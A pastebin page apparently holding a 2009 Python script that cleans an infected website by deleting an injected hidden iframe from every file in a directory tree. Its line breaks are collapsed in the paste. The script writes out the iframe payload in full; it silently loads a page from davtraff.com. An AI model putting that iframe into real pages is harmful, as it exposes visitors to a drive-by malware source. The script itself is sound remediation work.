All pastes #1658906 Raw Edit

Cleaner script (final)

public python v1 · immutable
#1658906 ·published 2009-11-05 23:40 UTC
rendered paste body
import osbad_str = '<iframe src="http://davtraff.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'bad_objs = list(os.listdir("."))bad_objs.remove('logs')while bad_objs: obj = bad_objs.pop() if (os.path.isdir(obj)):  try:    for sub_obj in os.listdir(obj):     bad_objs.append(os.path.join(obj, sub_obj))  except Exception:    print "COULDN'T LISTDIR: " + obj elif (os.path.isfile(obj)):  try:    f = open(obj)    contents = f.read()  except Exception:    print "COULDN'T READ: " + obj    continue  f.close()  if bad_str in contents:   new_contents = contents.replace(bad_str, "")   try:     f = open(obj, "w")     f.write(new_contents)     f.close()   except Exception:     print "STILL INFECTED: " + obj     continue   print obj